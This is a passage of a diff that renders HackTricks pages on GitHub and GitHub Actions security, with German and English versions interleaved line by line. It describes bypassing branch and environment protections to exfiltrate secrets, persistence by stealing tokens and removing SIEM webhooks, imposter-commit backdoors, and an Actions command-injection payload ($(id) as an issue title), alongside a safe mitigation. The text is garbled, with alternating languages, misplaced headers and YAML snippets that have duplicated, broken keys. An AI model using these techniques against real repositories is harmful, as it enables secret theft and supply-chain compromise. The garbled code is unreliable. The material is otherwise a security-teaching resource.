- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
- **Dismiss approvals when new commits are pushed**: If this isnt set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
- **Include administrators**: If this isnt set and you are admin of the repo, you can bypass this branch protections.
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
Für eine Einführung über [**Github Environment überprüfen Sie die grundlegenden Informationen**](basic-github-information.md#git-environments).
## Bypass Environments Protections
Falls eine Umgebung von **allen Branches aus zugänglich ist**, ist sie **nicht geschützt** und Sie können leicht auf die Geheimnisse innerhalb der Umgebung zugreifen. Beachten Sie, dass Sie möglicherweise Repos finden, in denen **alle Branches geschützt sind** (indem ihre Namen angegeben oder `*` verwendet wird); in diesem Szenario **finden Sie einen Branch, in den Sie Code pushen können**, und Sie können die Geheimnisse exfiltrieren, indem Sie eine neue Github Action erstellen (oder eine vorhandene ändern).
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
Beachten Sie, dass Sie möglicherweise den Grenzfall finden, in dem **alle Branches geschützt sind** (über Wildcard `*`), es wird festgelegt, **wer Code in die Branches pushen kann** (_Sie können das im Branchschutz angeben_) und **Ihr Benutzer nicht berechtigt ist**. Sie können dennoch eine benutzerdefinierte Github Action ausführen, da Sie einen Branch erstellen und den Push-Trigger über sich selbst verwenden können. Der **Branchschutz erlaubt den Push in einen neuen Branch, sodass die Github Action ausgelöst wird**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Beachten Sie, dass **nach der Erstellung** des Branches der **Branch-Schutz auf den neuen Branch angewendet wird** und Sie ihn nicht mehr ändern können, aber zu diesem Zeitpunkt haben Sie bereits die Geheimnisse extrahiert.
## Persistenz
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
- Generieren Sie **Benutzertoken**
- Stehlen Sie **Github-Tokens** aus **Geheimnissen**
- **Löschen** von Workflow-**Ergebnissen** und **Branches**
- Gewähren Sie **mehr Berechtigungen für die gesamte Organisation**
- Erstellen Sie **Webhooks**, um Informationen zu exfiltrieren
- Laden Sie **außenstehende Mitarbeiter** ein
- **Entfernen** Sie **Webhooks**, die vom **SIEM** verwendet werden
- Erstellen/Ändern Sie **Github Action** mit einem **Hintertür**
- Finden Sie **anfällige Github Action für Befehlsinjektion** durch **Änderung** des **Geheimwerts**
## Persistence
### Imposter Commits - Hintertür über Repo-Commits
- Generate **user token**
- Steal **github tokens** from **secrets**
- **Deletion** of workflow **results** and **branches**
- Give **more permissions to all the org**
- Create **webhooks** to exfiltrate information
- Invite **outside collaborators**
- **Remove** **webhooks** used by the **SIEM**
- Create/modify **Github Action** with a **backdoor**
- Find **vulnerable Github Action to command injection** via **secret** value modification
In Github ist es möglich, **einen PR zu einem Repo von einem Fork zu erstellen**. Selbst wenn der PR **nicht akzeptiert** wird, wird eine **Commit**-ID im ursprünglichen Repo für die Fork-Version des Codes erstellt. Daher könnte ein Angreifer **einen bestimmten Commit aus einem scheinbar legitimen Repo, das nicht vom Eigentümer des Repos erstellt wurde, verwenden**.
### Imposter Commits - Backdoor via repo commits
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
Wie [**dies**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
```
Für weitere Informationen siehe [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Referenzen
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
- [Wie wir CodeRabbit ausgenutzt haben: von einem einfachen PR zu RCE und Schreibzugriff auf 1M Repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop-Erweiterungen (erforderlich)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Authentifizierung mit einer GitHub-App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Installationen für die authentifizierte App auflisten](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Ein Installationszugriffstoken für eine App erstellen](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
## References
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,5 @@
# Gh Actions - Artifact Poisoning
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,5 @@
# GH Actions - Cache Poisoning
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,73 +2,81 @@
{{#include ../../../banners/hacktricks-training.md}}
## Verständnis des Risikos
## Understanding the risk
GitHub Actions wertet Ausdrücke ${{ ... }} aus, bevor der Schritt ausgeführt wird. Der ausgewertete Wert wird in das Programm des Schritts eingefügt (bei run-Schritten ein Shell-Skript). Wenn untrusted input direkt in run: interpoliert wird, kontrolliert der Angreifer einen Teil des Shell-Programms und kann beliebige Befehle ausführen.
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the steps program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
Wichtige Punkte:
- Das Rendern erfolgt vor der Ausführung. Das run-Skript wird mit allen aufgelösten Ausdrücken generiert und anschließend von der Shell ausgeführt.
- Viele contexts enthalten vom Benutzer kontrollierte Felder, abhängig vom auslösenden Ereignis (issues, PRs, comments, discussions, forks, stars, etc.). Siehe die untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Shell quoting innerhalb von run: ist keine verlässliche Verteidigung, da die injection in der Phase des Template-Renderings auftritt. Angreifer können aus Anführungszeichen ausbrechen oder Operatoren durch manipulierte Eingaben injizieren.
Key points:
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
## Verwundbares Muster → RCE auf dem Runner
## Vulnerable pattern → RCE on runner
Vulnerable workflow (triggered when someone opens a new issue):
Verwundbarer Workflow (ausgelöst, wenn jemand ein neues issue öffnet):
```yaml
name: New Issue Created
on:
issues:
types: [opened]
issues:
types: [opened]
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```
Wenn ein Angreifer ein Issue mit dem Titel $(id) eröffnet, wird der gerenderte Schritt:
If an attacker opens an issue titled $(id), the rendered step becomes:
```sh
echo "New issue $(id) created"
```
Die Kommando-Substitution führt id auf dem Runner aus. Beispielausgabe:
The command substitution runs id on the runner. Example output:
```
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```
Warum Quoting Sie nicht schützt:
- Ausdrücke werden zuerst gerendert, und das resultierende Skript wird danach ausgeführt. Wenn der unsichere Wert $(...), `;`, `"`/`'` oder Zeilenumbrüche enthält, kann er die Programmstruktur trotz Ihres Quoting verändern.
## Sicheres Muster (shell variables via env)
Why quoting doesnt save you:
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
## Safe pattern (shell variables via env)
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
Korrekte Gegenmaßnahme: Kopieren Sie die unsichere Eingabe in eine Umgebungsvariable und verwenden Sie dann die native Shell-Erweiterung ($VAR) im run-Skript. Binden Sie nicht erneut mit ${{ ... }} innerhalb des Befehls ein.
```yaml
# safe
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
```
Hinweise:
Notes:
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
## Vom Leser auslösbare Angriffsflächen (als nicht vertrauenswürdig behandeln)
## Reader-triggerable surfaces (treat as untrusted)
Accounts mit nur Lesezugriff auf public repositories können trotzdem viele Events auslösen. Jedes Feld in Contexts, die aus diesen Events abgeleitet werden, muss als von einem Angreifer kontrolliert betrachtet werden, sofern nicht das Gegenteil bewiesen ist. Beispiele:
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
- issues, issue_comment
- discussion, discussion_comment (orgs can restrict discussions)
- pull_request, pull_request_review, pull_request_review_comment
@@ -77,14 +85,14 @@ Accounts mit nur Lesezugriff auf public repositories können trotzdem viele Even
- watch (starring a repo)
- Indirectly via workflow_run/workflow_call chains
Welche konkreten Felder angreifer-kontrolliert sind, ist eventspezifisch. Siehe GitHub Security Labs untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Labs untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
## Praktische Tipps
## Practical tips
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
- Sei besonders vorsichtig, wenn du branch names, PR titles, usernames, labels, discussion titles und PR head refs in scripts, command-line flags oder file paths interpolierst.
- Für reusable workflows und composite actions gilt dasselbe Muster: map to env then reference $VAR.
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
## References
@@ -93,4 +101,4 @@ Welche konkreten Felder angreifer-kontrolliert sind, ist eventspezifisch. Siehe
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,56 +1,58 @@
# Zugängliche Gelöschte Daten in Github
# Accessible Deleted Data in Github
{{#include ../../banners/hacktricks-training.md}}
Diese Möglichkeiten, auf Daten von Github zuzugreifen, die angeblich gelöscht wurden, wurden [**in diesem Blogbeitrag berichtet**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
## Zugriff auf Gelöschte Fork-Daten
## Accessing Deleted Fork Data
1. Sie forken ein öffentliches Repository.
2. Sie committen Code in Ihren Fork.
3. Sie löschen Ihren Fork.
1. You fork a public repository
2. You commit code to your fork
3. You delete your fork
> [!CAUTION]
> Die in dem gelöschten Fork committen Daten sind weiterhin zugänglich.
> The data commited in the deleted fork is still accessible.
## Zugriff auf Gelöschte Repo-Daten
## Accessing Deleted Repo Data
1. Sie haben ein öffentliches Repo auf GitHub.
2. Ein Benutzer forkt Ihr Repo.
3. Sie committen Daten, nachdem sie es geforkt haben (und sie synchronisieren ihren Fork nie mit Ihren Updates).
4. Sie löschen das gesamte Repo.
1. You have a public repo on GitHub.
2. A user forks your repo.
3. You commit data after they fork it (and they never sync their fork with your updates).
4. You delete the entire repo.
> [!CAUTION]
> Selbst wenn Sie Ihr Repo gelöscht haben, sind alle Änderungen, die daran vorgenommen wurden, weiterhin über die Forks zugänglich.
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
## Zugriff auf Private Repo-Daten
## Accessing Private Repo Data
1. Sie erstellen ein privates Repo, das schließlich öffentlich gemacht wird.
2. Sie erstellen eine private, interne Version dieses Repos (durch Forking) und committen zusätzlichen Code für Funktionen, die Sie nicht öffentlich machen möchten.
3. Sie machen Ihr „Upstream“-Repository öffentlich und halten Ihren Fork privat.
1. You create a private repo that will eventually be made public.
2. You create a private, internal version of that repo (via forking) and commit additional code for features that youre not going to make public.
3. You make your “upstream” repository public and keep your fork private.
> [!CAUTION]
> Es ist möglich, auf alle Daten zuzugreifen, die in den internen Fork gepusht wurden, in der Zeit zwischen der Erstellung des internen Forks und der Veröffentlichung der öffentlichen Version.
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
## So entdecken Sie Commits von gelöschten/verborgenen Forks
## How to discover commits from deleted/hidden forks
Der gleiche Blogbeitrag schlägt 2 Optionen vor:
The same blog post propose 2 options:
### Direkt auf den Commit zugreifen
### Directly accessing the commit
Wenn der Commit-ID (sha-1) Wert bekannt ist, ist es möglich, ihn unter `https://github.com/<user/org>/<repo>/commit/<commit_hash>` zuzugreifen.
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
### Brute-Forcing kurzer SHA-1-Werte
### Brute-forcing short SHA-1 values
Es ist dasselbe, um auf beide zuzugreifen:
It's the same to access both of these:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
Und der letzte verwendet einen kurzen sha-1, der bruteforcebar ist.
And the latest one use a short sha-1 that is bruteforceable.
## Referenzen
## References
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,185 +4,191 @@
## Basic Structure
Die grundlegende Github-Umgebungsstruktur eines großen **Unternehmens** besteht darin, eine **Enterprise** zu besitzen, die **mehrere Organisationen** besitzt, und jede davon kann **mehrere Repositories** und **mehrere Teams** enthalten. Kleinere Firmen besitzen möglicherweise nur **eine Organisation und keine Enterprise**.
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
Aus Sicht eines Users kann ein **User** **Mitglied** verschiedener Enterprises und Organisationen sein. Innerhalb dieser kann der User **verschiedene Enterprise-, Organisations- und Repository-Rollen** haben.
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
Außerdem kann ein User **Teil verschiedener Teams** mit unterschiedlichen Enterprise-, Organisations- oder Repository-Rollen sein.
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
Und schließlich **können Repositories spezielle Schutzmechanismen** haben.
And finally **repositories may have special protection mechanisms**.
## Privileges
### Enterprise Roles
- **Enterprise owner**: Personen mit dieser Rolle können **Administrator*innen verwalten, Organisationen innerhalb der Enterprise verwalten, Enterprise-Einstellungen verwalten, Richtlinien über Organisationen hinweg durchsetzen**. Allerdings **können sie nicht auf Organisationseinstellungen oder Inhalte zugreifen**, es sei denn, sie werden zum Organization owner gemacht oder erhalten direkten Zugriff auf ein organisationseigenes Repository.
- **Enterprise members**: Mitglieder von Organisationen, die von deiner Enterprise verwaltet werden, sind **automatisch auch Mitglieder der Enterprise**.
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
### Organization Roles
In einer Organisation können User verschiedene Rollen haben:
In an organisation users can have different roles:
- **Organization owners**: Organization owners haben **vollständigen administrativen Zugriff auf deine Organisation**. Diese Rolle sollte begrenzt sein, aber nicht auf weniger als zwei Personen in deiner Organisation reduziert werden.
- **Organization members**: Die **Standard-**, nicht-administrative Rolle für **Personen in einer Organisation** ist das Organization member. Standardmäßig **haben Organization members eine Reihe von Berechtigungen**.
- **Billing managers**: Billing managers sind User, die **die Abrechnungseinstellungen deiner Organisation verwalten** können, wie z. B. Zahlungsinformationen.
- **Security Managers**: Das ist eine Rolle, die Organization owners einem beliebigen Team in einer Organisation zuweisen können. Wenn sie angewendet wird, erhalten alle Teammitglieder Berechtigungen, **Security Alerts und Einstellungen in der gesamten Organisation zu verwalten sowie Leserechte für alle Repositories** in der Organisation.
- Wenn deine Organisation ein Security-Team hat, kannst du die Security Manager-Rolle nutzen, um den Teammitgliedern den minimal notwendigen Zugriff auf die Organisation zu geben.
- **Github App managers**: Um zusätzlichen Personen zu erlauben, **GitHub Apps zu verwalten, die einer Organisation gehören**, kann ein Owner ihnen GitHub App manager-Berechtigungen gewähren.
- **Outside collaborators**: Ein Outside collaborator ist eine Person, die **Zugriff auf ein oder mehrere Organisation-Repositories hat, aber nicht explizit Mitglied** der Organisation ist.
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
Du kannst die **Berechtigungen** dieser Rollen in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Members Privileges
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ kannst du die **Berechtigungen sehen, die User allein durch die Mitgliedschaft in der Organisation haben**.
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
Die hier konfigurierten Einstellungen bestimmen folgende Berechtigungen der Mitglieder der Organisation:
The settings here configured will indicate the following permissions of members of the organisation:
- Admin-, Schreib-, Lese- oder keine Berechtigung für alle Organisation-Repos.
- Ob Mitglieder private, interne oder öffentliche Repositories erstellen können.
- Ob Forking von Repositories möglich ist.
- Ob das Einladen von Outside collaborators möglich ist.
- Ob öffentliche oder private Sites veröffentlicht werden dürfen.
- Die Berechtigungen, die Admins über die Repositories haben.
- Ob Mitglieder neue Teams erstellen können.
- Be admin, writer, reader or no permission over all the organisation repos.
- If members can create private, internal or public repositories.
- If forking of repositories is possible
- If it's possible to invite outside collaborators
- If public or private sites can be published
- The permissions admins has over the repositories
- If members can create new teams
### Repository Roles
Standardmäßig sind folgende Repository-Rollen vorhanden:
By default repository roles are created:
- **Read**: Empfohlen für **nicht-code Contributors**, die dein Projekt ansehen oder diskutieren möchten.
- **Triage**: Empfohlen für **Contributors, die Issues und Pull Requests proaktiv verwalten** müssen, ohne Schreibzugriff.
- **Write**: Empfohlen für Contributors, die **aktiv in dein Projekt pushen**.
- **Maintain**: Empfohlen für **Projektmanager*innen, die das Repository verwalten müssen**, ohne Zugang zu sensiblen oder destruktiven Aktionen.
- **Admin**: Empfohlen für Personen, die **vollen Zugriff auf das Projekt benötigen**, einschließlich sensibler und destruktiver Aktionen wie Security-Management oder Löschen eines Repositories.
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
- **Write**: Recommended for contributors who **actively push to your project**
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
Du kannst die **Berechtigungen** jeder Rolle in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
Du kannst auch **eigene Rollen erstellen** in _https://github.com/organizations/\<org_name>/settings/roles_
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
### Teams
Du kannst die in einer Organisation erstellten Teams in _https://github.com/orgs/\<org_name>/teams_ **auflisten**. Beachte, dass du, um die Teams zu sehen, die Kinder anderer Teams sind, jedes Parent-Team aufrufen musst.
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
### Users
Die User einer Organisation können in _https://github.com/orgs/\<org_name>/people_ **aufgelistet** werden.
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
In den Informationen jedes Users kannst du die **Teams, denen der User angehört**, und die **Repos, auf die der User Zugriff hat**, sehen.
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
## Github Authentication
Github bietet verschiedene Möglichkeiten, sich bei deinem Account zu authentifizieren und Aktionen in deinem Namen durchzuführen.
Github offers different ways to authenticate to your account and perform actions on your behalf.
### Web Access
Beim Zugriff auf **github.com** kannst du dich mit deinem **Benutzernamen und Passwort** (und ggf. einer **2FA**) einloggen.
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
### **SSH Keys**
Du kannst deinen Account mit einem oder mehreren Public Keys konfigurieren, die es dem zugehörigen **Private Key erlauben, Aktionen in deinem Namen auszuführen.** [https://github.com/settings/keys](https://github.com/settings/keys)
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG Keys**
Mit diesen Keys **kannst du den User nicht impersonifizieren**, aber wenn du sie nicht nutzt, kann es passieren, dass du **aufgrund von Commits ohne Signatur entdeckt wirst**. Mehr zu vigilant mode hier: [https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Personal Access Tokens**
Du kannst Personal Access Tokens erzeugen, um **einer Anwendung Zugriff auf deinen Account zu geben**. Beim Erstellen eines Personal Access Tokens muss der **User** die **Berechtigungen** angeben, die das **Token** haben wird. [https://github.com/settings/tokens](https://github.com/settings/tokens)
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
Oauth Applications können dich um Berechtigungen bitten, **Teil deiner Github-Informationen zuzugreifen oder dich zu impersonifizieren**, um bestimmte Aktionen durchzuführen. Ein übliches Beispiel dafür ist der **Login with github**-Button, den du auf manchen Plattformen finden kannst.
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
- Du kannst eigene **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers) erstellen.
- Du kannst alle **Oauth applications sehen, die Zugriff auf deinen Account haben** in [https://github.com/settings/applications](https://github.com/settings/applications)
- Du kannst die **Scopes, die Oauth Apps anfordern können**, in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) einsehen.
- Du kannst Third-Party-Zugriffe von Anwendungen in einer **Organisation** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ sehen.
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
Einige **Sicherheitsempfehlungen**:
Some **security recommendations**:
- Eine **OAuth App** sollte immer **als der authentifizierte GitHub-User über ganz GitHub agieren** (z. B. beim Versenden von User-Notifications) und nur auf die angegebenen Scopes zugreifen.
- Eine OAuth App kann als Identity Provider genutzt werden, indem ein "Login with GitHub" für den authentifizierten User aktiviert wird.
- **Baue keine OAuth App**, wenn deine Anwendung nur auf **ein einzelnes Repository** wirken soll. Mit dem `repo` OAuth-Scope können OAuth Apps **auf _alle_ Repositories des authentifizierten Users** zugreifen.
- **Baue keine OAuth App**, um sie als Anwendung für dein **Team oder Unternehmen** zu verwenden. OAuth Apps authentifizieren als **einzelner User**; wenn die Person, die die OAuth App erstellt hat, das Unternehmen verlässt, hat niemand sonst Zugriff darauf.
- **Mehr** in [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
